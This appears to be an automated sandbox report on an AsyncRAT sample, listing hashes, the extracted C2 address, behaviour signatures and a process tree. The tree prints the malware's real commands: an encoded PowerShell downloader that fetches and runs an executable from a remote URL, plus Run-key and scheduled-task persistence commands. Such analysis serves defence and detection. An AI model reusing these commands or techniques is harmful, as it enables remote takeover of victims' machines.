Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2022 17:21

General

  • Target

    871f23d521f271b63ea5d3041e097cc5.exe

  • Size

    5KB

  • MD5

    871f23d521f271b63ea5d3041e097cc5

  • SHA1

    33c118c290f67790a188d523c8afc5c3159de978

  • SHA256

    697e12598f923f1b5dcf2d81dc8db9cd944977cfcb9687575307118181f7c43e

  • SHA512

    a39a6521e1e6db0c8facce2d773a15c6520bfe12f694273d30b187cb534a89c65e776341431ef15ab7fb7a63cbade578caeb2e718821aba82cc4c6cc4e0de271

  • SSDEEP

    96:jf79xkCFvY5c/bUquGm5tlNtUqrGueGCd3oj8Erl:n9xPFg5AUquxXNtUqrlCdG

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes
  • delay

    3

  • install

    false

  • install_file

    System Guard Runtime

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe
    "C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZABsACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAAwADkAMwAxADgAMgAyADUANAAyADAAMAAwADEANAA5AC8AMQAwADQAMAA5ADMAOAA3ADgANQAxADgANwAzADEAMQA2ADIANgAvAEMAUgAuAGUAeABlACcALAAgADwAIwB3AGMAawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG0AYwByACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAZwBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAKQA8ACMAawB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBtAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAbQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAPAAjAG4AaABqACMAPgA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1804
      • C:\Users\Admin\AppData\Roaming\234213133w.exe
        "C:\Users\Admin\AppData\Roaming\234213133w.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3536
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1152
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3104
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
            5⤵
            • Creates scheduled task(s)
            PID:4176
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          #cmd
          4⤵
            PID:4168

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      973113eca0079b6922bad2c72ef41b3a

      SHA1

      084628fe890d81a4bdc09315a420e5b53c263e55

      SHA256

      89ca20f6c841351d9dacb24284ab218b3be3c752607fb0acf259f34ef7ff4ed8

      SHA512

      bc3b48fb478eea3041020085d55116cfe2c385c876cd1e2dab1b426afa5651b235e6c86404882f905c4319e88d302577ae45805bbd1d7487445a222881ade8d9

    • C:\Users\Admin\AppData\Roaming\234213133w.exe
      Filesize

      87KB

      MD5

      3c6ccbfe897915f0fe6bc34d193bf4a0

      SHA1

      6fe3161ee66e317889066a302474e511220939e7

      SHA256

      52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

      SHA512

      e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

    • C:\Users\Admin\AppData\Roaming\234213133w.exe
      Filesize

      87KB

      MD5

      3c6ccbfe897915f0fe6bc34d193bf4a0

      SHA1

      6fe3161ee66e317889066a302474e511220939e7

      SHA256

      52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

      SHA512

      e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

    • memory/1152-156-0x0000000006150000-0x0000000006182000-memory.dmp
      Filesize

      200KB

    • memory/1152-157-0x0000000070B70000-0x0000000070BBC000-memory.dmp
      Filesize

      304KB

    • memory/1152-165-0x00000000071C0000-0x00000000071C8000-memory.dmp
      Filesize

      32KB

    • memory/1152-150-0x0000000004D40000-0x0000000005368000-memory.dmp
      Filesize

      6.2MB

    • memory/1152-163-0x00000000070D0000-0x00000000070DE000-memory.dmp
      Filesize

      56KB

    • memory/1152-162-0x0000000007110000-0x00000000071A6000-memory.dmp
      Filesize

      600KB

    • memory/1152-151-0x0000000004B50000-0x0000000004B72000-memory.dmp
      Filesize

      136KB

    • memory/1152-161-0x0000000006F00000-0x0000000006F0A000-memory.dmp
      Filesize

      40KB

    • memory/1152-160-0x0000000006E90000-0x0000000006EAA000-memory.dmp
      Filesize

      104KB

    • memory/1152-144-0x0000000000000000-mapping.dmp
    • memory/1152-159-0x00000000074E0000-0x0000000007B5A000-memory.dmp
      Filesize

      6.5MB

    • memory/1152-146-0x00000000021D0000-0x0000000002206000-memory.dmp
      Filesize

      216KB

    • memory/1152-158-0x0000000006120000-0x000000000613E000-memory.dmp
      Filesize

      120KB

    • memory/1152-155-0x0000000005B90000-0x0000000005BAE000-memory.dmp
      Filesize

      120KB

    • memory/1152-166-0x0000000007220000-0x0000000007242000-memory.dmp
      Filesize

      136KB

    • memory/1152-164-0x00000000071E0000-0x00000000071FA000-memory.dmp
      Filesize

      104KB

    • memory/1152-153-0x0000000005490000-0x00000000054F6000-memory.dmp
      Filesize

      408KB

    • memory/1152-152-0x0000000005420000-0x0000000005486000-memory.dmp
      Filesize

      408KB

    • memory/1804-141-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp
      Filesize

      10.8MB

    • memory/1804-133-0x0000000000000000-mapping.dmp
    • memory/1804-137-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp
      Filesize

      10.8MB

    • memory/1804-135-0x000001712DF80000-0x000001712DFA2000-memory.dmp
      Filesize

      136KB

    • memory/1804-136-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp
      Filesize

      10.8MB

    • memory/1952-134-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp
      Filesize

      10.8MB

    • memory/1952-132-0x0000000000640000-0x0000000000648000-memory.dmp
      Filesize

      32KB

    • memory/3104-145-0x0000000000000000-mapping.dmp
    • memory/3536-143-0x00000000050E0000-0x0000000005684000-memory.dmp
      Filesize

      5.6MB

    • memory/3536-142-0x0000000000250000-0x000000000026C000-memory.dmp
      Filesize

      112KB

    • memory/3536-138-0x0000000000000000-mapping.dmp
    • memory/4168-148-0x0000000000000000-mapping.dmp
    • memory/4168-149-0x0000000000400000-0x0000000000412000-memory.dmp
      Filesize

      72KB

    • memory/4176-147-0x0000000000000000-mapping.dmp